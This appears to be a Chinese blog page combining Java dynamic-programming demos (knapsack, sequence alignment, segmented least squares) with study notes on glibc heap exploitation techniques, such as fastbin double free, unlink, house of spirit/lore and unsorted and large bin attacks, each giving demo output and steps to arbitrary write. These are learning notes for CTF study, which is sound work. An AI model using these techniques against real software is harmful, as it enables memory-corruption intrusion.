    static int[][] mS=new int[2][maxS];
    //静态块初始化optC的初始边界值为0
    static {
        optC[0]=0;
    }
    public SLMSDemo(){}

    public static void main(String[] args) {
        SLMSDemo frame = new SLMSDemo();
        //计算a,b,eC
        ComputeE();
        //计算每个1...j子集的最优拟合代价
        mc = ComputeOPT();
        //显示输出计算结果
        DrawPanel rd= new DrawPanel(P,a,b,mS,mc);
        frame.add(rd);
        frame.setSize(400,400);
        frame.setTitle("分段最小二乘演示程序");
        frame.setLocationRelativeTo(null);
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        frame.setVisible(true);
    }



    private static void ComputeE() {
        for(int j=0;j<n;j++){
            for(int i=0;i<=j;i++){
                int xySum=0;
                int xSum=0;
                int ySum=0;
                int xxSum=0;
                for(int k=i;k<=j;k++){
                    xySum+=P[0][k]*P[1][k];
                    xxSum+=P[0][k]*P[0][k];
                    xSum+=P[0][k];
                    ySum+=P[1][k];
                }
                double zj=((j-i+1)*xxSum-xSum*xSum);
                if(zj!=0){
                    a[i][j]=((j-i+1)*xySum-xSum*ySum)/zj;
                }else{
                    a[i][j]=MAXV;
                }
                b[i][j]=(ySum-a[i][j]*xSum)/(j-i+1);
                int eSum=0;
                for(int k=i;k<=j;k++){
                    eSum+=(P[1][k]-P[0][k]*a[i][j]-b[i][j])*(P[1][k]-P[0][k]*a[i][j]-b[i][j]);
                }
                eC[i][j]=eSum;
            }
        }
    }
    public static int ComputeOPT() {
        for(int j=1;j<=n;j++){
            double emin=MAXV;
            for(int i=1;i<=j;i++){
                double zj=eC[i-1][j-1]+C+optC[i-1];
                if(zj<emin){
                    emin=zj;
                }
            }
            optC[j]=emin;
            //System.out.println(optC[j]+"");
        }
        int m=0;
        int j=n;
        while (j>=1){
            double emin=MAXV;
            int imin=0;
            for(int i=1;i<=j;i++){
                double zj=eC[i-1][j-1]+C+optC[i-1];
                if(zj<emin){
                    emin=zj;
                    imin=i;
                }
            }
            mS[0][m]=imin-1;
            mS[1][m]=j-1;
            m=m+1;
            j=imin-1;
        }
        return m;
    }
}
class DrawPanel extends JPanel{
    private int widthP=400;
    private int tw=40;
    private int heightP=widthP-tw;
    private int width=0;
    private int height=0;
    private Color axisColor=Color.BLACK;
    private Color scatColor=Color.BLUE;
    private Point origin;
    private Point originA;
    private int cx=5;
    private int cy=5;
    private int beishu;
    private int sC=100;
    private int[][] P;
    private double[][] a;
    private double[][] b;
    private int[][] mS;
    private int mc;
    public DrawPanel(){
        originA=new Point(2,380-2);
    }
    public DrawPanel(Point p){
        origin=p;
    }
    public DrawPanel(int x,int y){
        origin=new Point(0,0);
        width=x;
        height=y;
    }

    public DrawPanel(int[][]P,double[][]a,double[][]b,int[][]mS,int mc){
        cx=5;
        cy=5;
        sC=16;
        this.P=P;
        this.a=a;
        this.b=b;
        this.mS=mS;
        this.mc=mc;
        beishu=2;
        originA=new Point(cx,this.heightP-cy);
    }
    public int getArea(){
        return width*height;
    }
    protected void paintComponent(Graphics g){
        paintXY(g);
        paintScatters(g);
        paintLines(g);
    }
    private void paintXY(Graphics g){
        g.setColor(axisColor);
        g.drawLine(originA.x,originA.y,originA.x+widthP-cx,originA.y);
        g.drawLine(originA.x,originA.y,originA.x,originA.y-heightP+cy+tw);
    }
    private void paintScatters(Graphics g){
        g.setColor(scatColor);
        for(int i=0;i<sC;i++){
            g.drawOval(originA.x+P[0][i]*beishu,originA.y-P[1][i]*beishu,cx,cy);
        }
    }
    private void paintLines(Graphics g){
        for(int i=0;i<mc;i++){
            int y1=(int)((a[mS[0][i]][mS[1][i]]*P[0][mS[0][i]]+b[mS[0][i]][mS[1][i]])*beishu);
            int x1=P[0][mS[0][i]]*beishu;
            int y2=((int)(a[mS[0][i]][mS[1][i]]*P[0][mS[1][i]]+b[mS[0][i]][mS[1][i]])*beishu);
            int x2=P[0][mS[1][i]]*beishu;
            g.setColor(Color.RED);
            g.drawLine(originA.x+x1,originA.y-y1,originA.x+x2,originA.y-y2);
        }
    }

}

背包问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import java.io.*;
import java.util.*;

public class KnapsackDemo {
    static int n = 10;
    static int W = 100;
    //static int[] iW={6,17,8,21,4,7,8,12,9,11};
    //static int[] iV={7,21,14,23,6,6,9,11,8,14};
    static int[] iW = {6, 17, 8, 21, 4, 7, 8, 12, 9, 11};
    static int[] iV = {7, 21, 14, 5, 6, 6, 9, 11, 8, 14};
    static int[][] optC = new int[n + 1][W + 1];
    static int sN = 0;
    static int vG = 0;
    static int wG = 0;
    static int[] iS = new int[n];

    static {
        for (int j = 0; j <= W; j++) {
            optC[0][j] = 0;
        }
    }

    public static void main(String[] args) {
        computeOPT();
        System.out.println("所选物件编号为");
        for (int i = 0; i < n; i++) {
            System.out.print(iS[i] + " ");
        }
        System.out.print("\n");
        System.out.println("占用总空间为: " + wG);
        System.out.println("总价值为: " + vG);
    }

    public static void computeOPT() {
        for (int j = 1; j <= n; j++) {
            for (int w = 0; w <= W; w++) {
                if (w < iW[j - 1]) {
                    optC[j][w] = optC[j - 1][w];
                } else {
                    int zj = iV[j - 1] + optC[j - 1][w - iW[j - 1]];
                    if (zj > optC[j - 1][w]) {
                        optC[j][w] = zj;
                    } else {
                        optC[j][w] = optC[j - 1][w];
                    }
                }
            }
        }
        int j = n;
        int w = W;
        while (j > 0) {
            if (w < iW[j - 1]) {
                j = j - 1;
            } else {
                int zj = iV[j - 1] + optC[j - 1][w - iW[j - 1]];
                if (zj > optC[j - 1][w]) {
                    iS[sN] = j;
                    sN = sN + 1;
                    vG = vG + iV[j - 1];
                    wG = wG + iW[j - 1];
                    w = w - iW[j - 1];
                    j = j - 1;
                } else {
                    j = j - 1;
                }
            }
        }
    }
}

串匹配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
import java.util.Hashtable;

public class SequenceAlignmentDemo {
    static int m=10;
    static int n=10;
    static String X="governance";
    static String Y="government";
    static String aY="";
    static String aX="";
    static int d=2;
    static int[][] A=new int[26][26];
    static int[][] M=new int[2][m];
    static int mL=0;
    static{
        for(int i=0;i<26;i++){
            for(int j=0;j<26;j++){
                if(i==j){
                    A[i][j]=0;
                }else{
                    A[i][j]=d*2;
                }
            }
        }
    }
    static String elpha[]={"a","b","c","d","e","f","g","h","i","j","k","l","m","n",
                          "o","p","q","r","s","t","u","v","w","x","y","z"};
    static Integer index[]={0,1,2,3,4,5,6,7,8,9,10,11,12,13,
                            14,15,16,17,18,19,20,21,22,23,24,25};
    static Hashtable<String,Integer> ht=new Hashtable<String,Integer>();
    static{
        for(int i=0;i<26;i++){
            ht.put(elpha[i],index[i]);
        }
    }
    static int[][] optC=new int[m+1][n+1];
    static {
        for(int j=0;j<=m;j++){
            optC[j][0]=j*d;
        }
        for(int j=0;j<=n;j++){
            optC[0][j]=j*d;
        }
    }

    public static void main(String[] args) {
        computeOPT();
        System.out.println("最优匹配代价值为: "+optC[m][n]);
        System.out.println("最优匹配集为: ");
        for(int i=0;i<mL;i++){
            System.out.print("("+M[0][i]+","+M[1][i]+")");
            if(Math.floorMod(i+1,4)==0)
                System.out.print("\n");
        }
        System.out.print("\n");
        System.out.println(aX);
        System.out.println(aY);
    }
    public static void computeOPT(){
        for(int i=1;i<=m;i++){
            for(int j=1;j<=n;j++){
                int zj1=A[(ht.get(X.substring(i-1,i))).intValue()][(ht.get(Y.substring(j-1,j))).intValue()]
                        +optC[i-1][j-1];
                int zj2=d+optC[i-1][j];
                int zj3=d+optC[i][j-1];
                if(zj1<zj2&&zj1<zj3){
                    optC[i][j]=zj1;
                }
                if (zj2<=zj1&&zj2<=zj3){
                    optC[i][j]=zj2;
                }
                if(zj3<=zj1&&zj3<=zj2){
                    optC[i][j]=zj3;
                }
            }
        }
        int i=m;
        int j=n;
        while (i>=1||j>=1){
            int zj1=A[(ht.get(X.substring(i-1,i))).intValue()][(ht.get(Y.substring(j-1,j))).intValue()]
                    +optC[i-1][j-1];
            int zj2=d+optC[i-1][j];
            int zj3=d+optC[i][j-1];
            if(zj1<zj2&&zj1<zj3){
                aX=X.substring(i-1,i)+aX;
                aY=Y.substring(j-1,j)+aY;
                M[0][mL]=i;
                M[1][mL]=j;
                mL=mL+1;
                i--;
                j--;
            }
            if(zj2<=zj1&&zj2<=zj3){
                aY="-"+aY;
                aX=X.substring(i-1,i)+aX;
                i=i-1;
            }
            if(zj3<=zj1&&zj3<=zj2){
                aX="-"+aX;
                aY=Y.substring(j-1,j)+aY;
                j=j-1;
            }
        }
    }
}

发表于 分类于 本文字数： 7.8k 阅读时长 ≈ 28 分钟

First fit

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
演示glibc 的分配机制
glibc 使用首次适应算法选择空闲的堆块
如果有一个空闲堆块且足够大，那么 malloc 将选择它
如果存在 use-after-free 的情况那可以利用这一特性
首先申请两个比较大的 chunk
第一个 a = malloc(0x512) 在: 0x1682010
第二个 b = malloc(0x256) 在: 0x1682530
我们可以继续分配它
现在我们把 "AAAAAAAA" 这个字符串写到 a 那里 
第一次申请的 0x1682010 指向 AAAAAAAA
接下来 free 掉第一个...
接下来只要我们申请一块小于 0x512 的 chunk，那就会分配到原本 a 那里: 0x1682010
第三次 c = malloc(0x500) 在: 0x1682010
我们这次往里写一串 "CCCCCCCC" 到刚申请的 c 中
第三次申请的 c 0x1682010 指向 CCCCCCCC
第一次申请的 a 0x1682010 指向 CCCCCCCC
可以看到，虽然我们刚刚看的是 a 的，但它的内容却是 "CCCCCCCC"

操作

  • 存在uaf，首先释放一个堆块p1，里面有内容
  • 再申请一个相同大小的堆块p2
  • 这两个堆块实际上指向同一个内存区域

结果

这两个堆块实际上指向同一个内存区域

UAF

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
申请0x20大小的内存p1 的地址: 0x1f11010
把p1[1]赋值为Printf函数，然后打印出"Hello CTFshow"
Hello CTFshow

free 掉 p1
因为并没有置为null，所以p1[1]仍然是Printf函数，仍然可以输出打印了"Hello CTFshow again"
Hello CTFshow again
接下来再去malloc一个p2，会把释放掉的p1给分配出来，可以看到他俩是同一地址的
p2 的地址: 0x1f11010
p1 的地址: 0x1f11010
然后把p2[1]给改成demoflag也就是system函数

Then get the flag && enjoy it !

操作

  • free掉chunk1
  • 再申请一个相同大小的chunk2，修改内容
  • 再使用chunk1，会输出修改内容

结果

chunk1和chunk2是同一个chunk

Double Free

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
演示 fastbin 的 double free
首先申请 3 个 chunk
第一个 malloc(8): 0x188f010
第二个 malloc(8): 0x188f030
第三个 malloc(8): 0x188f050
free 掉第一个
当我们再次 free 0x188f010 的时候, 程序将会崩溃因为 0x188f010 在 free 链表的第一个位置上
我们先 free 0x188f030.
现在我们就可以再次 free 0x188f010 了, 因为他现在不在 free 链表的第一个位置上
现在空闲链表是这样的 [ 0x188f010, 0x188f030, 0x188f010 ]. 如果我们 malloc 三次, 我们会得到两次 0x188f010 
第一次 malloc(8): 0x188f010
第二次 malloc(8): 0x188f030
第三次 malloc(8): 0x188f010

操作

  • 申请3个chunk，p1，p2，p3
  • free p1，再freep2，形成 p2 -> p1
  • 再free p1 形成 p1 -> p2 -> p1
  • 连续申请三次chunk

结果

得到两个相同地址的chunk

Fastbin_dup_into_stack – Double free

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
通过欺骗 malloc 使得返回一个指向受控位置的指针（本例为栈上）
通过 malloc 申请到 0x7ffec12adb40.
先申请3 个 chunk
chunk a: 0x209a010
chunk b: 0x209a030
chunk c: 0x209a050
free 掉 chunk a
如果还对 0x209a010 进行 free, 程序会崩溃。因为 0x209a010 现在是 fastbin 的第一个
先对 b 0x209a030 进行 free
接下来就可以对 0x209a010 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了
现在 fastbin 的链表是 [ 0x209a010, 0x209a030, 0x209a010 ] 接下来通过修改 0x209a010 上的内容来进行攻击.
第一次 malloc(8): 0x209a010
第二次 malloc(8): 0x209a030
现在 fastbin 表中只剩 [ 0x209a010 ] 了
接下来往 0x209a010 栈上写一个假的 size，这样 malloc 会误以为那里有一个空闲的 chunk，从而申请到栈上去
现在覆盖 0x209a010 前面的 8 字节，修改 fd 指针指向 stack_var 前面 0x20 的位置
第三次 malloc(8): 0x209a010, 把栈地址放到 fastbin 链表中
这一次 malloc(8) 就申请到了栈上去: 0x7ffec12adb40

操作

  • 申请3个chunk，p1，p2，p3
  • free p1，再freep2，形成 p2 -> p1
  • 再free p1 形成 p1 -> p2 -> p1
  • 修改p1的fd指向任意地址，栈上都可
  • 连续申请三次chunk
  • 第四次申请chunk会申请到目标地址

结果

任意地址读写

Fastbin_dup_consolidate

原理

1
2
3
4
5
6
申请两个 fastbin 范围内的 chunk: p1=0xbba010 p2=0xbba030
先 free p1
去申请 largebin 大小的 chunk，触发 malloc_consolidate(): p3=0xbba050
因为 malloc_consolidate(), p1 会被放到 unsorted bin 中
这时候 p1 不在 fastbin 链表的头部了，所以可以再次 free p1 造成 double free
现在 fastbin 和 unsortedbin 中都放着 p1 的指针，所以我们可以 malloc 两次都到 p1: 0xbba010 0xbba010

操作

- 1.free 一个fastbin大小的chunk 1
- 2.申请一个largin bin 大小的chunk，此时因为 malloc_consolidate(), chunk1 会被放到 unsorted bin 中
- 再次free chunk1

结果

​ 现在 fastbin 和 unsortedbin 中都放着 p1 的指针，所以我们可以 malloc 两次都到 p1: 0xbba010 0xbba010，任意地址读写

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
当你在已知位置有指向某个区域的指针时，可以调用 unlink
最常见的情况是易受攻击的缓冲区，可能会溢出并具有全局指针
本练习的重点是使用 free 破坏全局 chunk0_ptr 来实现任意内存写入

全局变量 chunk0_ptr 在 0x6020d0, 指向 0x161e010
我们想要破坏的 chunk 在 0x161e0a0
在 chunk0 那里伪造一个 chunk
我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.
我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.
通过上面的设置可以绕过检查: (P->fd->bk != P || P->bk->fd != P) == False
Fake chunk 的 fd: 0x6020b8
Fake chunk 的 bk: 0x6020c0

现在假设 chunk0 中存在一个溢出漏洞，可以更改 chunk1 的数据
通过修改 chunk1 中 prev_size 的大小使得 chunk1 在 free 的时候误以为 前面的 free chunk 是从我们伪造的 free chunk 开始的
如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 0x80
接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块

现在释放掉 chunk1，会触发 unlink，合并两个 free chunk
此时，我们可以用 chunk0_ptr 覆盖自身以指向任意位置
chunk0_ptr 现在指向我们想要的位置，我们用它来覆盖我们的 victim string。
之前的值是: Hello!~
新的值是: BBBBAAAA

操作

​ fd = goal - 0x18

​ bk = goal - 0x10

结果

任意地址写

house_of_spirit

原理

1
2
3
4
5
6
7
8
9
10
11
12
这个例子演示了 house of spirit 攻击
我们将构造一个 fake chunk 然后释放掉它，这样再次申请的时候就会申请到它
覆盖一个指向 fastbin 的指针
这块区域 (长度为: 80) 包含两个 chunk. 第一个在 0x7fff5f0e7268 第二个在 0x7fff5f0e72a8.
构造 fake chunk 的 size，要比 chunk 大 0x10（因为 chunk 头），同时还要保证属于 fastbin，对于 fastbin 来说 prev_inuse 不会改变，但是其他两个位需要注意都要位 0
next chunk 的大小也要注意，要大于 0x10 小于 av->system_mem（128kb）
现在，我们拿伪造的那个 fake chunk 的地址进行 free, 0x7fff5f0e7270.
free!
现在 malloc 的时候将会把 0x7fff5f0e7270 给返回回来
malloc(0x30): 0x7fff5f0e7270
Finish!

操作

构造fake fastbin chunk，free掉这个chunk，再次申请可以拿回这个chunk

前提有一个可控的指针

结果

任意地址写，前提有可控指针

Posion_null_byte

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
当存在 off by null 的时候可以使用该技术
申请 0x100 的 chunk a
a 在: 0x1eb2010
因为我们想要溢出 chunk a，所以需要知道他的实际大小: 0x108
b: 0x1eb2120
c: 0x1eb2330
另外再申请了一个 chunk c：0x1eb2440，防止 free 的时候与 top chunk 发生合并的情况
会检查 chunk size 与 next chunk 的 prev_size 是否相等，所以要在后面一个 0x200 来绕过检查
b 的 size: 0x211
假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上
b 现在的 size: 0x200
c 的 prev_size 是 0x210
但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里，我们将会成功绕过 chunk 的检测 chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P))
申请一个 0x100 大小的 b1: 0x1eb2120
现在我们 malloc 了 b1 他将会放在 b 的位置，这时候 c 的 prev_size 依然是: 0x210
但是我们之前写 0x200 那个地方已经改成了: f0
接下来 malloc 'b2', 作为 'victim' chunk.
b2 申请在: 0x1eb2230
现在 b2 填充的内容是:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210，所以会把他俩给合并，但是这时候里面还包含 b2 呐.
这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了
d 申请到了: 0x1eb2120，我们填充一下 d 为 "D"
现在 b2 的内容就是:
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD

操作

  • 申请0x100大小的chunk a，0x200大小的chunk b，chunk c 防合并
  • free b
  • 通过off-by-one覆写chunk b的size从0x211->0x200
  • chunk b中b+0x1f0的位置放prev_size = 0x200 我们将会成功绕过 chunk 的检测 chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P))
  • 申请一个0x100的b1，b1会放到b的位置，c的prev_size仍然是0x210，但是我们之前写 0x200 那个地方已经改成了: f0
  • 申请b2，作为 ‘victim’ chunk
  • free b1 和 c，由于c的prev_size是0x210，会合并b1和c，此时b2仍在

结果

在一个大的free堆块中存在一个未被free的堆块

House_of_lore

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
定义了两个数组stack_buffer_1 在 0x7ffc7a946070
stack_buffer_2 在 0x7ffc7a946050
申请第一块属于 fastbin 的 chunk 在 0x211c010
在栈上伪造一块 fake chunk
设置 fd 指针指向 victim chunk，来绕过 small bin 的检查，这样的话就能把堆栈地址放在到 small bin 的列表上
设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2，设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针另外再分配一块，避免与 top chunk 合并 0x211c080
Free victim chunk 0x211c010, 他会被插入到 fastbin 中

此时 victim chunk 的 fd、bk 为零
victim->fd: (nil)
victim->bk: (nil)

这时候去申请一个 chunk，触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理，最终被整理到 small bin 中 0x211c010
现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址
victim->fd: 0x7f6610ee7bd8
victim->bk: 0x7f6610ee7bd8

现在模拟一个可以覆盖 victim 的 bk 指针的漏洞，让他的 bk 指针指向栈上
然后申请跟第一个 chunk 大小一样的 chunk
他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk
最后 malloc 一次会返回 victim->bk 指向的那里
p4 = malloc(100)

在最后一个 malloc 之后，stack_buffer_2 的 fd 指针已更改 0x7f6610ee7bd8

p4 在栈上 0x7ffc7a946080

操作

  • 在栈上定义了两个数组 stack1，stack2
  • 申请了一块 fastbin chunk，在栈上伪造一块 fake chunk，设置stack1 fd -> victim chunk，绕过small bin检查
  • 设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2 & 设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1
  • 再分配个chunk，避免和top chunk 合并
  • free victim chunk，会被放入fastbin中同时fd、bk为0
  • 再申请一个large bin chunk触发xx使得victim chunk 进入 unsortedbin
  • fd 和 bk 被更新为main_arena_88
  • 存在一个漏洞可以使得victim的bk -> stack 1
  • 申请一个大小相同的chunk取出victim chunk,并且它的bk为修改掉的victim的bk
  • 再次malloc一次会返回 victim -> bk 指向的那里，也就是stack1，stack2 fd 指针也更改main_arena_88

结果

任意地址malloc

Overlapping_chunks

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
这是一个简单的堆块重叠问题，首先申请 3 个 chunk
这三个 chunk 分别申请到了:
p1：0x2088010
p2：0x2088110
p3：0x2088210
给他们分别填充"1""2""3"

free 掉 p2
p2 被放到 unsorted bin 中
现在假设有一个堆溢出漏洞，可以覆盖 p2
为了保证堆块稳定性，我们至少需要让 prev_inuse 为 1，确保 p1 不会被认为是空闲的堆块
我们将 p2 的大小设置为 385, 这样的话我们就能用 376 大小的空间

现在让我们分配另一个块，其大小等于块p2注入大小的数据大小
malloc 将会把前面 free 的 p2 分配给我们（p2 的 size 已经被改掉了）

p4 分配在 0x2088110 到 0x2088288 这一区域
p3 从 0x2088210 到 0x2088288
p4 应该与 p3 重叠，在这种情况下 p4 包括所有 p3
这时候通过编辑 p4 就可以修改 p3 的内容，修改 p3 也可以修改 p4 的内容

接下来验证一下，现在 p3 与 p4:
p4 = 22222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222
p3 = 3333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333�

如果我们使用 memset(p4, '4', 376), 将会:
p4 = 44444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444�
p3 = 4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444�

操作

  • 申请三个堆块大小为0xf8，0xf8，0x78
  • free p2，p2被放到 unsorted bin 中
  • 假设存在一个堆溢出漏洞，可以覆盖p2

结果

堆块重叠

Overlapping_chunks_2

原理

操作

结果

Mmap_overlapping_chunks

原理

操作

结果

Unsorted_bin_attack

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsorted bin attack 实现了把一个超级大的数（unsorted bin 的地址）写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备

我们准备把这个地方 0x7ffe5b09ba18 的值 0 更改为一个很大的数

一开始先申请一个比较正常的 chunk: 0x14fe010
再分配一个避免与 top chunk 合并

当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中，同时它的 bk 指针为 0x7efe12f93b78
现在假设有个漏洞，可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址（想要改为超大值的那个地方）减去 0x10 写到 bk 指针:0x7ffe5b09ba08

再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址
0x7ffe5b09ba18: 0x7efe12f93b78

操作

  • 申请一个chunk p1 (0x410)，再申请一个chunk p2避免与top chunk 合并
  • free p1，p1会被放入 unsorted bin 中，同时fd 和 bk指针为main_arena_88
  • 假设有个漏洞，可以修改p1的bk指针
  • 修改 bk -> (goal - 0x10)
  • 再malloc相同大小的chunk p，goal已经为unsorted bin 的地址

结果

修改任意位置为 一个很大的数

Large_bin_attack

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
跟 unsorted bin attack 实现的功能差不多，都是把一个地址的值改为一个很大的数

先来看一下目标:
stack_var1 (0x7fff83c2e410): 0
stack_var2 (0x7fff83c2e418): 0

分配第一个 large chunk: 0x6ac000
再分配一个 fastbin 大小的 chunk，来避免 free 的时候下一个 large chunk 与第一个合并了

申请第二个 large chunk 在: 0x6ac360
同样在分配一个 fastbin 大小的 chunk 防止合并掉

最后申请第三个 large chunk 在: 0x6ac7a0
申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并

free 掉第一个和第二个 chunk，他们会被放在 unsorted bin 中 [ 0x6ac360 <--> 0x6ac000 ]

现在去申请一个比他俩小的，然后会把第一个分割出来，第二个则被整理到 largebin 中，第一个剩下的会放回到 unsortedbin 中 [ 0x6ac0a0 ]

free 掉第三个，他会被放到 unsorted bin 中: [ 0x6ac7a0 <--> 0x6ac0a0 ]

假设有个漏洞，可以覆盖掉第二个 chunk 的 "size" 以及 "bk"、"bk_nextsize" 指针
减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部（largebin 会按照大小排序）。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10，bk_nextsize 为 stack_var2-0x20

再次 malloc，会把释放的第三个 chunk 插入到 largebin 中，同时我们的目标已经改写了:
stack_var1 (0x7fff83c2e410): 0x6ac7a0
stack_var2 (0x7fff83c2e418): 0x6ac7a0

操作

  • 分配第一个large bin chunk，再申请一个fast bin chunk 隔绝，避免和下一个large bin chunk合并
  • 分配第二个large bin chunk，再申请一个fast bin chunk 隔绝，避免和下一个large bin chunk合并
  • 分配第三个large bin chunk，再申请一个fast bin chunk 隔绝，避免和下一个large bin chunk合并
  • free chunk1 和 chunk2 均被放入unsorted bin 中
  • 现在去申请一个比他俩小的，然后会把第一个分割出来，第二个则被整理到 largebin 中，第一个剩下的会放回到 unsortedbin 中
  • free chunk3 放到unsorted bin 中
  • 存在漏洞，可以覆盖掉第二个chunk 的size bk bk_nextsize
  • 减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部（largebin 会按照大小排序）。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x1
  • 再次 malloc，会把释放的第三个 chunk 插入到 largebin 中，同时我们的目标已经改写了

结果

​ 栈上地址被覆盖

发表于 分类于 本文字数： 6k 阅读时长 ≈ 22 分钟

LLVM PASS PWN（一）

前置知识简述

为什么要编译程序

机器语言是用1和0组成的代码，但机器是识别不了1和0的，更具体的是如何识别的呢？对机器电路进行设计之后，机器能识别高电平还是低电平，刚好与2进制很相似，想输入0就给机器输入低电平，想输入1，就给机器输入高电平，所以就看到了1和0的表示形式

机器语言它是计算机唯一能识别和执行的语言，但它的直观性差，可读性差，比如一串11110000111100001111机器可以快速识别是什么但是我们很难理解，再比如我们想要在屏幕上输出hello world那我们该如何用二进制来表示呢，所以汇编语言就诞生了

汇编语言用助记符来表示机器指令中的操作码和操作数的指令系统，如a = 1，我们不需要去用二进制来理解，我们完全可以利用mov a, 1进行理解，那有没有更简单的方法呢，比如现在要输出hello wrold，还是需要十几行的汇编代码的，所以高级语言就诞生了

高级语言是一种更接近人类的自然语言和数学语言的语言，比如想要a = 1，很直观就是a = 1，在很大程度上减少编程人员的编写量

但是问题来了，机器只懂0和1那怎么才能让高级语言被机器识别，所以就有了编译，将高级语言（源语言）翻译成汇编语言或机器语言（目标语言），编译的根本目的就是把源代码变成目标代码

编译的过程是什么

编译过程主要可以划分为前端与后端，笔者用一张图简述一下

image.png

前端把源代码翻译成IR，后端把IR编译成目标平台的机器码，这里笔者在查阅资料的时候发现有些会将生成中间代码放入前端，而有些资料会将生成中间代码放入后端

在词法分析中编译器读入源代码，经过词法分析器识别出Token，比如词法分析器中识别出的Token可以是int, return, {, }等

在语法分析中会把上面的Token串给转换成一个抽象语法树AST，AST树反映了程序的语法结构

在语义分析中需要做的任务是理解语义，语句要做什么，如for是需要去实现循环，if是判断等

在前端完成之后，会生成中间代码，统一优化中间代码，再去将中间代码生成目标代码

前置知识这里笔者简述了一下，具体的可以移步编译原理

  • LLVM

    LLVM IR & LLVM Pass

    gcc这个最经典的编译器提供的是一整套服务，前端和后端耦合在了一起，导致了如果一个新的编程语言出现可能需要设计一个新的IR以及实现这个IR的后端，如果出现了一个新的平台就要实现一个从自己的IR到新平台的后端，针对此类问题就出现了LLVM

